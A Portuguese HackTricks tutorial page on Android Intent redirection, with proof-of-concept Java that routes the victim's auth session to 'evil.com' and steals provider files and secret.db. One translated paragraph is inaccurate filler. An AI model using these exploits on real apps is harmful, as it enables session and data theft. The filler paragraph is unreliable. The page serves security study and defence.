mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-20 18:14:15 +00:00
255 lines
16 KiB
Markdown
255 lines
16 KiB
Markdown
# Introdução
|
|
|
|
Essa vulnerabilidade se assemelha ao **Redirecionamento Aberto na segurança web**. Como a classe `Intent` é `Parcelable`, **objetos pertencentes a essa classe** podem ser **passados** como **dados extras** em outro objeto `Intent`. \
|
|
Muitos desenvolvedores fazem **uso** dessa **característica** e criam **componentes proxy** (atividades, receptores de transmissão e serviços) que **recebem um Intent incorporado e o passam para métodos perigosos** como `startActivity(...)`, `sendBroadcast(...)`, etc. \
|
|
Isso é perigoso porque **um atacante pode forçar o aplicativo a lançar um componente não exportado que não pode ser lançado diretamente de outro aplicativo**, ou conceder ao atacante acesso aos seus provedores de conteúdo. **`WebView`** às vezes também altera um **URL de uma string para um objeto `Intent`**, usando o método `Intent.parseUri(...)` e o passa para `startActivity(...)`.
|
|
|
|
{% hint style="info" %}
|
|
Resumindo: Se um atacante pode enviar um Intent que está sendo executado de forma insegura, ele pode potencialmente acessar componentes não exportados e abusá-los.
|
|
{% endhint %}
|
|
|
|
# Um caso típico
|
|
|
|
Vamos examinar um exemplo. Fragmento do arquivo `AndroidManifest.xml`
|
|
```markup
|
|
<activity android:name=".ProxyActivity" android:exported="true" />
|
|
<activity android:name=".AuthWebViewActivity" android:exported="false" />
|
|
```
|
|
Atividade `ProxyActivity`
|
|
```java
|
|
startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));
|
|
```
|
|
Atividade `AuthWebViewActivity`
|
|
```java
|
|
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
|
|
```
|
|
`AuthWebViewActivity` é um exemplo de **funcionalidade oculta do aplicativo que executa certas ações inseguras**, neste caso, passando a sessão de autenticação do usuário para uma URL obtida do parâmetro `url`.
|
|
|
|
Restrições de exportação significam que **o atacante não pode acessar `AuthWebViewActivity` diretamente**. Uma chamada direta...
|
|
```java
|
|
Intent intent = new Intent();
|
|
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
|
intent.putExtra("url", "http://evil.com/");
|
|
startActivity(intent);
|
|
```
|
|
lança uma `java.lang.SecurityException`, devido à `Negativa de Permissão`: `AuthWebViewActivity` não exportado do uid 1337.
|
|
|
|
Mas o atacante pode **forçar a vítima a lançar o `AuthWebViewActivity` por si só**:
|
|
```java
|
|
Intent extra = new Intent();
|
|
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
|
extra.putExtra("url", "http://evil.com/");
|
|
|
|
Intent intent = new Intent();
|
|
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
|
intent.putExtra("extra_intent", extra);
|
|
startActivity(intent);
|
|
```
|
|
e nenhum violação de segurança surgirá, porque o aplicativo que está sob ataque tem acesso a todos os seus próprios componentes. Usando este fragmento de código, o atacante pode ignorar as restrições incorporadas do sistema Android.
|
|
|
|
# Escalada de Impacto
|
|
|
|
Para aumentar o impacto dessa vulnerabilidade, você precisa encontrar outras vulnerabilidades/configurações incorretas que possam permitir aumentar o impacto da vulnerabilidade (já que a vulnerabilidade por si só não cria nenhum risco).
|
|
|
|
## Escalada de ataques via Provedores de Conteúdo
|
|
|
|
Além do acesso a componentes arbitrários do aplicativo original, o atacante pode tentar obter acesso aos Provedores de Conteúdo do aplicativo vulnerável que satisfaçam as seguintes condições:
|
|
|
|
* deve ser não exportado (caso contrário, poderia ser atacado diretamente, sem usar a vulnerabilidade que estamos discutindo neste artigo)
|
|
* deve ter a flag `android:grantUriPermissions` definida como `true`.
|
|
* `android:grantUriPermissions="true"` indica que seu código Java pode usar `FLAG_GRANT_READ_URI_PERMISSION` e `FLAG_GRANT_WRITE_URI_PERMISSION` para qualquer `Uri` servido por esse `ContentProvider`.
|
|
* `android:grantUriPermissions="false"` indica que apenas os valores `Uri` especificados pelos elementos `<grant-uri-permission>` filho podem ser usados com `FLAG_GRANT_READ_URI_PERMISSION` e `FLAG_GRANT_WRITE_URI_PERMISSION`.
|
|
|
|
O atacante deve se definir como o destinatário de um intent incorporado e definir as seguintes flags:
|
|
|
|
* `Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION` permite acesso persistente ao provedor (sem essa flag, o acesso é apenas uma vez)
|
|
* `Intent.FLAG_GRANT_PREFIX_URI_PERMISSION` permite acesso URI por prefixo - por exemplo, em vez de obter acesso separado repetidamente usando um caminho completo como `content://com.victim.provider/image/1`, o atacante pode conceder acesso a todo o conteúdo do provedor usando o URI `content://com.victim.provider/` e depois usar `ContentResolver` para endereçar `content://com.victim.provider/image/1`, `content://com.victim.provider/image/2`, etc.
|
|
* `Intent.FLAG_GRANT_READ_URI_PERMISSION` permite operações de leitura no provedor (como `query`, `openFile`, `openAssetFile`)
|
|
* `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` permite operações de escrita
|
|
|
|
Um exemplo de um provedor típico onde um atacante pode obter acesso e realizar operações regulares como `query`, `update`, `insert`, `delete`, `openFile`, `openAssetFile`.
|
|
```markup
|
|
<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>
|
|
```
|
|
# Exemplo de roubo de fotos do usuário no arquivo `AndroidManifest.xml`
|
|
|
|
Um atacante pode roubar fotos do usuário de um aplicativo Android, explorando a falta de permissões adequadas no arquivo `AndroidManifest.xml`. Para fazer isso, o atacante pode injetar um código malicioso no aplicativo que permita o acesso às fotos do usuário sem a devida permissão.
|
|
|
|
Para evitar esse tipo de ataque, é importante que os desenvolvedores de aplicativos Android garantam que todas as permissões necessárias sejam solicitadas e concedidas corretamente no arquivo `AndroidManifest.xml`. Além disso, é importante que os usuários estejam cientes das permissões que estão concedendo ao instalar um aplicativo e que verifiquem se o aplicativo realmente precisa dessas permissões para funcionar corretamente.
|
|
```markup
|
|
<activity android:name=".LeakActivity" android:exported="true" />
|
|
```
|
|
Arquivo `MainActivity.java`
|
|
```java
|
|
Intent extra = new Intent();
|
|
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
|
|
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
|
|
| Intent.FLAG_GRANT_READ_URI_PERMISSION
|
|
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
|
|
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
|
|
extra.setData(Uri.parse("content://com.victim.provider/"));
|
|
|
|
Intent intent = new Intent();
|
|
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
|
intent.putExtra("extra_intent", extra);
|
|
startActivity(intent);
|
|
```
|
|
`LeakActivity.java`
|
|
```java
|
|
Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
|
|
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image
|
|
```
|
|
## Ataques ao Android File Provider
|
|
|
|
Essa vulnerabilidade também torna possível para o atacante **roubar arquivos do aplicativo** localizados em diretórios que o desenvolvedor predeterminou. Para um ataque bem-sucedido, o aplicativo malicioso precisa **obter direitos de acesso ao Android File Provider e, em seguida, ler o conteúdo do provedor de arquivos usando o Android ContentResolver**.
|
|
|
|
Exemplo de provedor de arquivos (para mais detalhes, consulte [https://developer.android.com/reference/android/support/v4/content/FileProvider](https://developer.android.com/reference/android/support/v4/content/FileProvider))
|
|
```markup
|
|
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
|
|
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
|
|
</provider>
|
|
```
|
|
Ele fornece acesso de leitura/escrita a arquivos em uma lista especial que pode ser encontrada nos recursos do aplicativo, neste caso em `res/xml/provider_paths.xml`.
|
|
|
|
Pode parecer algo como:
|
|
```markup
|
|
<?xml version="1.0" encoding="utf-8"?>
|
|
<paths>
|
|
<root-path name="root" path=""/>
|
|
<files-path name="internal_files" path="."/>
|
|
<cache-path name="cache" path=""/>
|
|
<external-path name="external_files" path="images"/>
|
|
</paths>
|
|
```
|
|
Cada tag especifica um diretório raiz com um valor `path` relativo ao diretório raiz. Por exemplo, o valor `external_files` corresponderá a `new File(Environment.getExternalStorageDirectory(), "images")`.
|
|
|
|
O valor `root-path` corresponde a `/`, ou seja, fornece acesso a arquivos arbitrários.
|
|
|
|
Digamos que tenhamos alguns dados secretos armazenados no arquivo `/data/data/com.victim/databases/secret.db`: o roubo desse arquivo pode parecer algo assim `MainActivity.java`.
|
|
```java
|
|
Intent extra = new Intent();
|
|
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
|
|
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
|
|
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));
|
|
|
|
Intent intent = new Intent();
|
|
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
|
intent.putExtra("extra_intent", extra);
|
|
startActivity(intent);
|
|
```
|
|
`LeakActivity.java`
|
|
```java
|
|
InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server
|
|
```
|
|
## Acesso a componentes arbitrários via WebView
|
|
|
|
Um objeto Intent pode ser convertido em uma string com uma chamada para `Intent.toUri(flags)` e de volta de uma string para um Intent usando `Intent.parseUri(stringUri, flags)`. Essa funcionalidade é frequentemente usada no WebView (o navegador integrado do aplicativo): o **aplicativo pode verificar um esquema `intent://`, analisar a URL em um Intent e iniciar a atividade**.
|
|
|
|
**Essa vulnerabilidade pode ser explorada tanto por outras vulnerabilidades** (por exemplo, a capacidade de abrir links arbitrários no aplicativo no WebView diretamente por meio de atividades exportadas ou por meio do mecanismo deeplink) no aplicativo do cliente quanto remotamente, incluindo cross-site scripting no lado do servidor ou MitM no lado do cliente.
|
|
|
|
Exemplo de código vulnerável
|
|
```java
|
|
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
|
|
Uri uri = request.getUrl();
|
|
if("intent".equals(uri.getScheme())) {
|
|
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
|
|
return true;
|
|
}
|
|
return super.shouldOverrideUrlLoading(view, request);
|
|
}
|
|
```
|
|
O ponto aqui é que o método `shouldOverrideUrlLoading(...)` da classe `WebViewClient` é chamado toda vez que o WebView tenta carregar um novo link, mas dá à aplicação a opção de adicionar um manipulador personalizado.
|
|
|
|
Para explorar essa vulnerabilidade, o atacante precisa criar um redirecionamento WebView para um URL de esquema de intenção especialmente preparado. Exemplo de criação de URL:
|
|
```java
|
|
Intent intent = new Intent();
|
|
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
|
intent.putExtra("url", "http://evil.com/");
|
|
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"
|
|
```
|
|
Exemplo de ataque
|
|
```java
|
|
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";
|
|
```
|
|
Esta versão contém **várias restrições em comparação com a versão clássica** da vulnerabilidade:
|
|
|
|
* Objetos `Parcelable` e `Serializable` incorporados não podem ser convertidos em string (eles serão ignorados)
|
|
* As flags inseguras `Intent.FLAG_GRANT_READ_URI_PERMISSION` e `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` são **ignoradas** quando `Intent.parseUri(...)` é chamado. O analisador só as deixará se a flag `Intent.URI_ALLOW_UNSAFE` (`startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))` for definida, o que é muito raro.
|
|
|
|
Muitos desenvolvedores ainda esquecem de realizar uma filtragem completa de intents recebidos via WebView.
|
|
```java
|
|
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
|
|
Uri uri = request.getUrl();
|
|
if("intent".equals(uri.getScheme())) {
|
|
Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
|
|
intent.addCategory("android.intent.category.BROWSABLE");
|
|
intent.setComponent(null);
|
|
startActivity(intent);
|
|
return true;
|
|
}
|
|
return super.shouldOverrideUrlLoading(view, request);
|
|
}
|
|
```
|
|
O atacante pode especificar um componente não exportado através de um seletor.
|
|
```java
|
|
Intent intent = new Intent();
|
|
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
|
|
intent.putExtra("url", "http://evil.com/");
|
|
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"
|
|
```
|
|
E contornar a proteção do aplicativo contra intents explícitos. Portanto, recomendamos filtrar também o seletor.
|
|
```java
|
|
intent.addCategory("android.intent.category.BROWSABLE");
|
|
intent.setComponent(null);
|
|
intent.setSelector(null);
|
|
```
|
|
Mas mesmo a filtragem completa não garante proteção completa, porque um atacante pode criar um intent implícito correspondente ao `intent-filter` de alguma atividade não exportada. Exemplo de declaração de atividade:
|
|
```markup
|
|
<activity android:name=".AuthWebViewActivity" android:exported="false">
|
|
<intent-filter>
|
|
<action android:name="android.intent.action.VIEW" />
|
|
<category android:name="android.intent.category.DEFAULT" />
|
|
<data android:scheme="victim" android:host="secure_handler" />
|
|
</intent-filter>
|
|
</activity>
|
|
```
|
|
|
|
```java
|
|
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());
|
|
```
|
|
Portuguese:
|
|
|
|
Portanto, recomendamos verificar se uma atividade é exportada antes de ser iniciada.
|
|
|
|
## Outras maneiras de criar intents inseguras
|
|
|
|
Alguns desenvolvedores de aplicativos implementam seus próprios analisadores de intents (geralmente para lidar com deeplinks ou mensagens push), usando, por exemplo, objetos JSON, strings ou matrizes de bytes, que não diferem do padrão ou apresentam um grande perigo, porque podem expandir objetos `Serializable` e `Parcelable` e também permitem que flags inseguras sejam definidas. O pesquisador de segurança também pode encontrar versões mais exóticas de criação de intents, como a conversão de uma matriz de bytes em um `Parcel` e, em seguida, a leitura de um intent a partir dele.
|
|
```java
|
|
Uri deeplinkUri = getIntent().getData();
|
|
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
|
|
byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
|
|
Parcel parcel = Parcel.obtain();
|
|
parcel.unmarshall(handle, 0, handle.length);
|
|
startActivity((Intent) parcel.readParcelable(getClassLoader()));
|
|
}
|
|
```
|
|
# Vuln app
|
|
|
|
{% embed url="https://github.com/oversecured/ovaa" %}
|
|
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
|
|
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|